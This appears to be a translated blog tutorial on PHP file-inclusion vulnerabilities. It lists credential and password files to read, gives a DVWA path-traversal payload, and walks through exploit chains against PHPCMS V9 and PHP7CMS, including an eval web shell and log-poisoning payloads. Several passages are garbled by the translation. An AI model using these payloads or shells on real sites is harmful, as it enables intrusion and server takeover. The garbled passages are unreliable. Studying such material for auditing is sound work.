PHP Code Audit 6 - File Contains Vulnerabilities

1. The file contains the basis of the vulnerability

1. The principle of files containing vulnerabilities

Program developers usually write reusable functions into a single file, and when using certain functions, directly call this file without writing it again. This process of calling files is generally called inclusion.
​ Program developers want the code to be more flexible, so they usually set the included file as a variable for dynamic calling, but it is precisely because of this flexibility that the client can call a malicious file, causing the file to contain loophole.
​ Most of the files contain loopholes in PHP Web Application, but in JSP, ASP, ASP.NET programs, there are very few, or even no loopholes.

2. Common functions contained in the file

  • include(): The file is only included when the include() function is executed. When the file cannot be found, an alarm will be generated, and then the subsequent script will continue to be executed.
  • require(): The difference from include() is that when the file cannot be found, a fatal error will be generated and the script will be stopped.
  • include_once(): It has the same effect as the Include() function, except that if the file has already been included, it will not be included again.
  • require_once(): Same function as require file, if the file has already been included, it will not be included again.

When we use the above four functions for file inclusion, if the included file conforms to the PHP syntax specification, then any extension will be parsed by PHP. If the source code or file that is not specified by PHP is included, its source code or file content will be exposed.

For files that conform to the PHP specification, we can read the source code through a pseudo-protocol such as file:// or php:// when we use it.

3. Vulnerability classification

The local file contains:

As the name suggests, is able to include our local files. Including program source code, system files, etc.

The remote file contains:

The difference from local file inclusion is the ability to include files on our remote server. The existence of this vulnerability has certain conditions and restrictions:

  • Configure allow_url_fopen=On in PHP.ini (default off)
  • Configure allow_url_include=On in PHP.ini (default is off)

4. Common usage methods

1) Read system files:

  • Windows
    • C:\boot.ini: read system version
    • C:\windows\System32\inetsrv\MetaBasw.xml : IIS configuration file
    • C:\windows\repair\sam : Stored password for initial system installation
    • C:\windows\php.ini : read PHP configuration information
  • Linux
    • /etc/passwd: read user information file
    • /etc/shadow: read user password
    • /root/.ssh/id_rsa : read SSH key
    • /etc/httpd/conf/httpd.conf : apachce configuration file

2) Read the source code

​ Example method: ?page=php://filter/read=convert.base64-encode/resourse=config.php

3) Execute malicious code

  • eg: include(…/…/…/shell.php)
  • eg:include(…/upload/shell.php)

Two, DVWA shooting range code analysis

1. High level code analysis

<?php
// The page we wish to display
$file = $_GET[ 'page' ];  //获取page参数
// 使用fnmatc()函数检测文件名是否以file开头
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    
    
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}
?>

It can be seen that the file name we pass in must start with file, or the file name include.php.

So if we want to make a breakthrough, we only need to let the parameters we pass in start with file. Since the shooting range provides three files, file1, file2 and file3, we choose one of them to construct the payload to bypass the whitelist detection. A paylaod that reads the passwd file is as follows:

page=file1.php../../../../../../../etc/passwd

result:

insert image description here

2. Imposible level code analysis

<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    
    
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}
?> 

It can be seen that the white list method used in the source code is used to check the file name. For file inclusion, this method is relatively safe.

3. PHPcms V9 file contains vulnerability analysis

1. PHPCMS architecture analysis

The simple file directory structure of PHPMCS is described as follows:

  • api directory: application program interface, interface file files are generally here
  • caches directory: cache files are centralized, stored in folders by model and category
  • phpcms directory: main program file directory, MVC structure headquarters, model, class, and template file directories are all inside
  • phpsso_server directory: a separate member management system, which can be used alone or shared by multiple sites
  • statics directory: basic style file directory, including system js, css, images storage, and ckeditor, calendar, swfupload and other third-party plug-ins storage.
  • uploadfiles directory: system file upload directory.

PHPCMS file routing analysis:

Taking the login of the administrator as an example, the URL is:

http://xxx.xxx.xxx/index.php?m=admin&c=index&a=login&pc_hash=

The relevant routing parameters are as follows:

  • m: model, used to locate the folder, admin is the admin folder under the modules folder in the phpcms main directory
  • c: is the template file we want to access, index means index.php
  • a: The method we call, login is the login method in my index.php.

insert image description here

2. Vulnerability analysis

First, we clarify the file generated by the vulnerability: phpcmsv9\phpcms\modules\block\block_admin.php

And the vulnerability point: Lines 265-272:

if (@file_put_contents($filepath,$str)) {
    
    
		ob_start();
		include $filepath;
		$html = ob_get_contents();
		ob_clean();
		@unlink($filepath);
}

As you can see, the file_put_contents() function is used here to write the str variable value into the file pointed to by filepath, and then the include () function is used to include the file pointed to by ' filepath, and then the include() function is used to include up`In the file pointed to by f i l e p a t h ,Then use the in c l u d e ( ) function to include the ' filepath所指向的文件.所以我们需要确定filepath' variable and the 'filepath` variable and `f i l e p a t h ' variables and ' str` variables are controllable.

Here's a look at the logic and structure of the entire function:

public function public_view() {
    
    
		$id = isset($_GET['id']) && intval($_GET['id']) ? intval($_GET['id']) :  exit('0');        //通过GET传入Id,并用于查询后面的type的值.
		if (!$data = $this->db->get_one(array('id'=>$id))) {
    
    
			showmessage(L('nofound'));
		}
		if ($data['type'] == 1) {
    
    
			exit('<script type="text/javascript">parent.showblock('.$id.', \''.str_replace("\r\n", '', $_POST['data']).'\')</script>');
		} elseif ($data['type'] == 2) {
    
    
			extract($data);
			unset($data);
			$title = isset($_POST['title']) ? $_POST['title'] : '';
			$url = isset($_POST['url']) ? $_POST['url'] : '';
			$thumb = isset($_POST['thumb']) ? $_POST['thumb'] : '';
			$desc = isset($_POST['desc']) ? $_POST['desc'] : '';
			$template = isset($_POST['template']) && trim($_POST['template']) ? trim($_POST['template']) : '';
			$data = array();
			foreach ($title as $key=>$v) {
    
    
				if (empty($v) || !isset($url[$key]) ||empty($url[$key])) continue;
				$data[$key] = array('title'=>$v, 'url'=>$url[$key], 'thumb'=>$thumb[$key], 'desc'=>str_replace(array(chr(13), chr(43)), array('<br />', '&nbsp;'), $desc[$key]));
			}
			$tpl = pc_base::load_sys_class('template_cache');
			$str = $tpl->template_parse(new_stripslashes($template));
			$filepath = CACHE_PATH.'caches_template'.DIRECTORY_SEPARATOR.'block'.DIRECTORY_SEPARATOR.'tmp_'.$id.'.php';     //源文件第260行
			$dir = dirname($filepath);
			if(!is_dir($dir)) {
    
    
				@mkdir($dir, 0777, true);
		    }
		    if (@file_put_contents($filepath,$str)) {
    
    
		    	 ob_start();
		   		 include $filepath;
		   		 $html = ob_get_contents();
		   		 ob_clean();
		   		 @unlink($filepath);
		    }
		   
			exit('<script type="text/javascript">parent.showblock('.$id.', \''.str_replace("\r\n", '', $html).'\')</script>');
		}
	}

It can be seen that in lines 260-264 of the source file, our file name and file path are defined as the block folder under the caches_template folder under the cache folder, and the file name is set to tmp_.php $id.

And our $idline 239 from the source file, through simple analysis, can guide that our file storage path is uncontrollable, and it $idmust be an integer id value that exists in the data to be used for subsequent database queries. So there are no loopholes $filepaht. Then we need to focus $stron it.

On line 259 of the source file:

$str = $tpl->template_parse(new_stripslashes($template));

The parameters are $temnplateprocessed by the template_parse() function and the new_new_stripslashes() function and assigned to $str. And on line 252 of the source file:

$template = isset($_POST['template']) && trim($_POST['template']) ? trim($_POST['template']) : '';

It can be found that the variable content here is controllable, so $template is also controllable. But what we need to pay attention to is the role of the two functions template_parse() and new_new_stripslashes(). Let's track it down for analysis:

new_stripslashes():

// \install_package\phpsso_server\phpcms\libs\functions\global.func.php
function new_stripslashes($string) {
    
    
	if(!is_array($string)) return stripslashes($string);
	foreach($string as $key => $val) $string[$key] = new_stripslashes($val);
	return $string;
}

As you can see, the function of our new_stripslashes() function is to use the stripslashes() function to remove the backslashes added by the addslashes() function. That is to say, here, what we pass in is changed back to the original after being escaped by the addslashes() function.

template_parse():

/**
	 * 解析模板
	 *
	 * @param $str	模板内容
	 * @return ture
	 */
public function template_parse($str) {
    
    
		$str = preg_replace ( "/\{template\s+(.+)\}/", "<?php include template(\\1); ?>", $str );
		$str = preg_replace ( "/\{include\s+(.+)\}/", "<?php include \\1; ?>", $str );
		$str = preg_replace ( "/\{php\s+(.+)\}/", "<?php \\1?>", $str );
		$str = preg_replace ( "/\{if\s+(.+?)\}/", "<?php if(\\1) { ?>", $str );
		$str = preg_replace ( "/\{else\}/", "<?php } else { ?>", $str );
		$str = preg_replace ( "/\{elseif\s+(.+?)\}/", "<?php } elseif (\\1) { ?>", $str );
		$str = preg_replace ( "/\{\/if\}/", "<?php } ?>", $str );
		//for 循环
		$str = preg_replace("/\{for\s+(.+?)\}/","<?php for(\\1) { ?>",$str);
		$str = preg_replace("/\{\/for\}/","<?php } ?>",$str);
		//++ --
		$str = preg_replace("/\{\+\+(.+?)\}/","<?php ++\\1; ?>",$str);
		$str = preg_replace("/\{\-\-(.+?)\}/","<?php ++\\1; ?>",$str);
		$str = preg_replace("/\{(.+?)\+\+\}/","<?php \\1++; ?>",$str);
		$str = preg_replace("/\{(.+?)\-\-\}/","<?php \\1--; ?>",$str);
		$str = preg_replace ( "/\{loop\s+(\S+)\s+(\S+)\}/", "<?php \$n=1;if(is_array(\\1)) foreach(\\1 AS \\2) { ?>", $str );
		$str = preg_replace ( "/\{loop\s+(\S+)\s+(\S+)\s+(\S+)\}/", "<?php \$n=1; if(is_array(\\1)) foreach(\\1 AS \\2 => \\3) { ?>", $str );
		$str = preg_replace ( "/\{\/loop\}/", "<?php \$n++;}unset(\$n); ?>", $str );
		$str = preg_replace ( "/\{([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff:]*\(([^{}]*)\))\}/", "<?php echo \\1;?>", $str );
		$str = preg_replace ( "/\{\\$([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff:]*\(([^{}]*)\))\}/", "<?php echo \\1;?>", $str );
		$str = preg_replace ( "/\{(\\$[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*)\}/", "<?php echo \\1;?>", $str );
		$str = preg_replace_callback("/\{(\\$[a-zA-Z0-9_\[\]\'\"\$\x7f-\xff]+)\}/s",  array($this, 'addquote'),$str);
		$str = preg_replace ( "/\{([A-Z_\x7f-\xff][A-Z0-9_\x7f-\xff]*)\}/s", "<?php echo \\1;?>", $str );
		$str = preg_replace_callback("/\{pc:(\w+)\s+([^}]+)\}/i", array($this, 'pc_tag_callback'), $str);
		$str = preg_replace_callback("/\{\/pc\}/i", array($this, 'end_pc_tag'), $str);
		$str = "<?php defined('IN_PHPCMS') or exit('No permission resources.'); ?>" . $str;
		return $str;
	}

It can be seen that the function of our template_parse() function is to convert the template content in str into specific PHP code. That is to say, if the template content in our' str is converted into specific PHP code. That is to say, if we the `The template content in s t r is converted into specific PHP code . That is to say , if our ` str` does not contain the template content, this function will have no effect.

And we know that $templatethe value of is completely controllable, so we can tmp_$id.phpconstruct arbitrary code in it. For example, construct it like this:

<?php file_put_contents("phpinfo.php","<?php phpinfo();?>");

Or write directly to the shell:

template=<?php file_put_contents("shell.php","<?php @eval($_POST[cmd]);?>");?>

In this way, after our payload is written tmp_$id.phpand included, a file will be created in the directory and written into the php script.

Theoretically, we can already exploit the vulnerability here, but we found that there is a key problem, that is, we don't know the values ​​of Id in the database, and we don't know whether the corresponding type is 2. So we need to add a piece of data first, define our own id and set the type value to 2. Here we need to follow up our add() function:

public function add() {
    
    
		$pos = isset($_GET['pos']) && trim($_GET['pos']) ? trim($_GET['pos']) : showmessage(L('illegal_operation'));
		if (isset($_POST['dosubmit'])) {
    
    
			$name = isset($_POST['name']) && trim($_POST['name']) ? trim($_POST['name']) : showmessage(L('illegal_operation'), HTTP_REFERER);
			$type = isset($_POST['type']) && intval($_POST['type']) ? intval($_POST['type']) : 1;
			//判断名称是否已经存在
			if ($this->db->get_one(array('name'=>$name))) {
    
    
				showmessage(L('name').L('exists'), HTTP_REFERER);
			}
			if ($id = $this->db->insert(array('name'=>$name, 'pos'=>$pos, 'type'=>$type, 'siteid'=>$this->siteid), true)) {
    
    
				//设置权限
				$priv = isset($_POST['priv']) ? $_POST['priv'] : '';
				if (!empty($priv)) {
    
    
					if (is_array($priv)) foreach ($priv as $v) {
    
    
						if (empty($v)) continue;
						$this->priv_db->insert(array('roleid'=>$v, 'blockid'=>$id, 'siteid'=>$this->siteid));
					}
				}
				showmessage(L('operation_success'), '?m=block&c=block_admin&a=block_update&id='.$id);
			} else {
    
    
				showmessage(L('operation_failure'), HTTP_REFERER);
			}
		} else {
    
    
			$show_header = $show_validator = true;
			pc_base::load_sys_class('form');
			$administrator = getcache('role', 'commons');
			unset($administrator[1]);
			include $this->admin_tpl('block_add_edit');
		}
	}

It can be seen that in line 10 of the add function, parameters such as name, pose, and type are written into the _block table of the database. But writing needs to meet the following conditions:

  • $pos is not empty.
  • $dosubmit is not empty.
  • $name cannot be duplicated with existing data.
  • $type = 2 (to guarantee access to the exploit point)

So we can construct the following URL to insert data:

http://xxx.xxx.xxx.xx/index.php?m=block&c=block_admin&a=add&pos=1&pc_hach=your_hash
//pc_hash是pgpcms检测是否登录的方法,需要登录后获取hash值
//POST 数据如下:
dosubmit=1&name=testName&type=2

Then construct the following URL to write to the shell:

http://xxx.xxx.xxx.xx/index.php?m=block&c=block_admin&a=public_view&pc_hach=your_hash&id=insert_id
//id的值是刚刚插入数据之后的自动填充的值
//POST 数据如下:
template=<?php file_put_contents("shell.php","<?php @eval($_POST[cmd]);?>");?>

In this way, this vulnerability can be exploited to getshell.

3. Vulnerability recurrence

First log in to the background to get pc_hash:

insert image description here

Then construct the URL and POST parameters to add the ID value:

insert image description here

Then we can see that the returned ID value is 1:

insert image description here

Then construct the URL and POST data, write to the shell.

insert image description here

After successful writing, we use AntSword to connect:

insert image description here

Four, PHP7CMS file contains vulnerability analysis

Regarding the system architecture, it is basically the same as the PHPcms architecture, so I won't go into details here.

First of all, we need to know the vulnerability point: /dayrui/Fcms/Core/View.php. In the display function, the use of include to include the cache file leads to the generation of the file inclusion vulnerability.

 public function display($_name, $_dir = '') {
    
    
        extract($this->_options, EXTR_PREFIX_SAME, 'data');
        $this->_filename = $_name;
        !IS_DEV && $this->_options = null;
        // 加载编译后的缓存文件
        $this->_disp_dir = $_dir;
        $_view_file = $this->get_file_name($_name);
        $_view_name = str_replace([TPLPATH, FCPATH, APPSPATH], '', $_view_file);
        \Config\Services::timer()->start($_view_name);
   			//包含缓存文件,漏洞产生的位置。
        include $this->load_view_file($_view_file);
        \Config\Services::timer()->stop($_view_name);
        // 消毁变量
        $this->_include_file = null;
    }

First of all, we can see that $_view_fileit comes from the variables processed by the get_file_name() function $_name.

Let's trace the get_file_name() function:

public function get_file_name($file, $dir = null, $include = FALSE) {
    
    
        $dir = $dir ? $dir : $this->_disp_dir;
        if (IS_ADMIN || $dir == 'admin' || $this->_is_admin) {
    
    
            // 后台操作时,不需要加载风格目录,如果文件不存在可以尝试调用主项目模板
            if (APP_DIR && is_file(MYPATH.'View/'.APP_DIR.'/'.$file)) {
    
    
                return MYPATH.'View/'.APP_DIR.'/'.$file;
            } elseif (!APP_DIR && is_file(MYPATH.'View/'.$file)) {
    
    
                return MYPATH.'View/'.$file;
            } elseif (is_file($this->_dir.$file)) {
    
    
                return $this->_dir.$file; // 调用当前后台的模板
            } elseif (is_file($this->_aroot.$file)) {
    
    
                return $this->_aroot.$file; // 当前项目目录模板不存在时调用主项目的
            } elseif ($dir != 'admin' && is_file(APPSPATH.ucfirst($dir).'/Views/'.$file)) {
    
    
                return APPSPATH.ucfirst($dir).'/Views/'.$file; //指定模块时调用模块下文件
            }
            $error = $this->_dir.$file;
        } elseif (IS_MEMBER || $dir == 'member') {
    
    
            // 会员操作时,需要加载风格目录,如果文件不存在可以尝试调用主项目模板
            if ($dir === '/' && is_file($this->_root.$file)) {
    
    
                return $this->_root.$file;
            } elseif (is_file($this->_dir.$file)) {
    
    
                return $this->_dir.$file;// 调用当前的会员模块目录
            } elseif (is_file($this->_mroot.$file)) {
    
    
                return $this->_mroot.$file; // 调用默认的会员模块目录
            } elseif (is_file($this->_root.$file)) {
    
    
                return $this->_root.$file;// 调用网站主站模块目录
            }
            $error = $dir === '/' ? $this->_root.$file : $this->_dir.$file;
        } elseif ($file == 'go') {
    
    
            return $this->_aroot.'go.html';// 转向字段模板
        } else {
    
    
            if ($dir === '/' && is_file($this->_root.$file)) {
    
    
                return $this->_root.$file;// 强制主目录
            } else if (@is_file($this->_dir.$file)) {
    
    
                return $this->_dir.$file; // 调用本目录
            } else if (@is_file($this->_root.$file)) {
    
    
                return $this->_root.$file;// 再次调用主程序下的文件
            }
            $error = $dir === '/' ? $this->_root.$file : $this->_dir.$file;
        }
        // 如果移动端模板不存在就调用主网站风格
        if (IS_MOBILE && is_file(str_replace('/mobile/', '/pc/', $error))) {
    
    
            return str_replace('/mobile/', '/pc/', $error);
        } elseif (IS_MOBILE && is_file(str_replace('/mobile/', '/pc/', $this->_root.$file))) {
    
    
            return str_replace('/mobile/', '/pc/', $this->_root.$file);
        } elseif ($file == 'msg.html' && is_file(TPLPATH.'pc/default/home/msg.html')) {
    
    
            return TPLPATH.'pc/default/home/msg.html';
        }
        exit('模板文件 ('.str_replace(TPLPATH, '/', $error).') 不存在');
    }

As you can see from the code, the function of this function is to judge whether the template file exists through the user type, and choose which template to call. But because the file name is controllable, we can use .../ to jump to the directory to achieve the effect of controlling the template file.

After the judgment is successful, use str_replace() to replace the file name:

$_view_name = str_replace([TPLPATH, FCPATH, APPSPATH], '', $_view_file);

It doesn't matter here, let's look at the load_view_file() function:

public function load_view_file($name) {
    
    
        $cache_file = $this->_cache.str_replace(array(WEBPATH, '/', '\\', DIRECTORY_SEPARATOR), array('', '_', '_', '_'), $name).(IS_MOBILE ? '.mobile.' : '').'.cache.php';
        // 当缓存文件不存在时或者缓存文件创建时间少于了模板文件时,再重新生成缓存文件
        if (!is_file($cache_file) || (is_file($cache_file) && is_file($name) && filemtime($cache_file) < filemtime($name))) {
    
    
            $content = $this->handle_view_file(file_get_contents($name));
            @file_put_contents($cache_file, $content, LOCK_EX) === FALSE && show_error('请将模板缓存目录(/cache/template/)权限设为777', 404, '无写入权限');
        }
        return $cache_file;
    }

It can be seen that our file is written into the cache file here, and the file path of the cache file is returned. Then use the include() function to include this file.

So as long as the content of our cache file is controllable, the effect that the file contains vulnerabilities can be achieved.

The idea here is to do this by including log files.

First of all, when we access the application, a log file will be generated under the /cashe/log/error folder. The general situation is as follows:

The naming rules of the log file are: log-year-month-day.php

The content of the file looks like this:

<?php defined('BASEPATH') OR exit('No direct script access allowed'); ?>

ERROR - 2018-10-20 16:53:04 --> You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '?=/* LIMIT 0,10' at line 1<br>SELECT `dr_1_news`.`thumb`,`dr_1_news`.`url`,`dr_1_news`.`title`,`dr_1_news`.`description`,`dr_1_news`.`keywords`,`dr_1_news`.`updatetime`,`dr_1_news`.`hits`,`dr_1_news`.`comments` FROM `dr_1_news` WHERE (`dr_1_news`.`id` IN(SELECT `cid` FROM `dr_1_news_search_index` WHERE `id`="ce0f2ef8f63c9afa7453492781553547")) AND `dr_1_news`.`status` = 9 ORDER BY 2<?=/* LIMIT 0,10<br>http://localhost/index.php?s=news&c=search&keyword=%E5%9B%BA%E5%AE%9A&order=2%3C?=/*&sss=*/eval($_GET[1]);

Because the program has filters for <?php, short tags + comments are used here to execute the code.

Then we include this log file.

Visit the following url:

index.php?s=api&c=api&m=template&name=../../../../cache/error/log-2020-09-30.php&1=phpinfo();

You can find that phpinfo() is successfully executed:

insert image description here

For other usage postures, you can refer to the method of PHPcmsV9 above, such as writing a shell or something. No demo here.

5. References

Guess you like

Origin blog.csdn.net/qq_45590334/article/details/126007204